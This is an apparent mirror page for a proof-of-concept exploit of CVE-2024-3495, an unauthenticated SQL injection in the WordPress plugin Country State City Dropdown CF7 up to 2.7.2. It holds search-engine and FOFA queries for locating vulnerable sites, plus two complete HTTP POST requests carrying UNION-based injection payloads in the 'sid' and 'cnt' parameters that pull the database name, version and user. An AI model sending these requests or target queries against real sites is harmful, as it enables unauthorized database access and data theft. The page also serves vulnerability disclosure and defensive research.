CVE-2024-3495 PoC — WordPress plugin Country State City Dropdown CF7 安全漏洞

Source

https://github.com/truonghuuphuc/CVE-2024-3495-Poc

Associated Vulnerability

Title:WordPress plugin Country State City Dropdown CF7 安全漏洞 (CVE-2024-3495)
Description:WordPress和WordPress plugin都是WordPress基金会的产品。WordPress是一套使用PHP语言开发的博客平台。该平台支持在PHP和MySQL的服务器上架设个人博客网站。WordPress plugin是一个应用插件。 WordPress plugin Country State City Dropdown CF7 2.7.2及之前版本存在安全漏洞，该漏洞源于容易通过cnt和sid参数受到SQL注入攻击，从而导致攻击者可以从数据库中提取敏感信息。

Description

CVE-2024-3495 Country State City Dropdown CF7 <= 2.7.2 - Unauthenticated SQL Injection

Readme

# CVE-2024-3495-Poc
CVE-2024-3495 Country State City Dropdown CF7 &lt;= 2.7.2 - Unauthenticated SQL Injection

Description

The Country State City Dropdown CF7 plugin for WordPress is vulnerable to SQL Injection via the ‘cnt’ and 'sid' parameters in versions up to, and including, 2.7.2 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query

https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/country-state-city-auto-dropdown/country-state-city-dropdown-cf7-272-unauthenticated-sql-injection

```inurl:"/wp-content/plugins/country-state-city-auto-dropdown/"```

```
https://x.com/fofabot/status/1793477848428364155
FOFA Query: body="/wp-content/plugins/country-state-city-auto-dropdown/"
https://en.fofa.info/result?qbase64=Ym9keT0iL3dwLWNvbnRlbnQvcGx1Z2lucy9jb3VudHJ5LXN0YXRlLWNpdHktYXV0by1kcm9wZG93bi8i
```

File: includes\ajax-actions.php
![image](https://github.com/truonghuuphuc/CVE-2024-3495-Poc/assets/20487674/e29eb5d1-c90d-4f79-8409-cccd213ac18c)

Found nonce
![image](https://github.com/truonghuuphuc/CVE-2024-3495-Poc/assets/20487674/c605bb8f-65f7-4425-84d7-ac9285568be7)


Poc:

```
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: <Host>
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.125 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 172

action=tc_csca_get_cities&nonce_ajax={{nonce}}&sid=1+or+0+union+select+concat(0x64617461626173653a,database(),0x7c76657273696f6e3a,version(),0x7c757365723a,user()),2,3--+-
```

```
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: <Host>
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.125 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 172

action=tc_csca_get_states&nonce_ajax={{nonce}}&cnt=1+or+0+union+select+concat(0x64617461626173653a,database(),0x7c76657273696f6e3a,version(),0x7c757365723a,user()),2,3--+-
```

![image](https://github.com/truonghuuphuc/CVE-2024-3495-Poc/assets/20487674/350142b4-e5d2-43a2-a266-9cc5fd846f7c)

![image](https://github.com/truonghuuphuc/CVE-2024-3495-Poc/assets/20487674/8e8053b3-2185-4a6e-983b-84afbab385b4)

File Snapshot


 [4.0K]  /data/pocs/3ceedb22dbdde10b6eadc02c3114fe1f1c278719
├── [2.4M]  country-state-city-auto-dropdown.zip
├── [1.1K]  CVE-2024-3495.py
└── [2.5K]  README.md

0 directories, 3 files

Shenlong Bot has cached this for you

Remarks

1. It is advised to access via the original source first.

2. If the original source is unavailable, please email f.jinxu#gmail.com for a local snapshot (replace # with @).

3. Shenlong has snapshotted the POC code for you. To support long-term maintenance, please consider donating. Thank you for your support.

Goal Reached Thanks to every supporter — we hit 100%!